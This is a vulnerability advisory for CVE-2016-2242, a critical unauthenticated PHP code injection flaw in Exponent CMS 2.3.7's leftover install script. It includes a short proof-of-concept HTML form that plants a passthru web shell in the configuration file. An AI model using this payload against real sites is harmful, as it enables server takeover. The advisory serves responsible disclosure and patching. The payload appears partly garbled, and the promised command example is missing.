Total Tests:

Remote Code Execution in Exponent

Advisory ID:HTB23290
Vulnerable Versions:2.3.7 and probably prior
Tested Version:2.3.7
Advisory Publication:January 13, 2016 [without technical details]
Vendor Notification:January 13, 2016
Vendor Fix:January 23, 2016
Public Disclosure:February 3, 2016
Latest Update:February 1, 2016
Vulnerability Type:Code Injection [CWE-94]
CVE Reference:CVE-2016-2242
Risk Level:Critical
CVSSv2 Base Score:10 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H]
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered critical vulnerability in Exponent CMS, which can be exploited to inject and execute arbitrary PHP code on the vulnerable system with the privileges of the web server.

The vulnerability resides within "/install/index.php" script, when handling user-input data passed via "sc" HTTP POST parameter. The script is not deleted by default after installation of the web application. A remote unauthenticated attacker can permanently inject arbitrary PHP code into "/framework/conf/config.php" configuration file and execute it with privileges of the web server.

The attacker will be able to run arbitrary system commands, gain complete control over the vulnerable website, its databases and even compromise the entire web server.

A simple exploit below will modify "/framework/conf/config.php" file and inject simple web shell into it:

<form action="http://[host]/install/index.php" method="post" name="main">
<input type="hidden" name='sc[",""); passthru($_GET[]' value='"]); // '>
<input value="submit" id="btn" type="submit" />

After successful PHP code injection, the attacker can execute arbitrary system command viathe web shell.

The following example will display output of "/bin/ls" command for the current directory:


How to Detect Code Injection Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Apply Patch #3 to Exponent CMS v2.3.7

More Information:

[1] High-Tech Bridge Advisory HTB23290 - - Remote Code Execution in Exponent
[2] Exponent - - Exponent is a website content management system (or CMS) that allows site owners to easily create and manage dynamic websites without necessarily directly coding web pages, or managing site navigation.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

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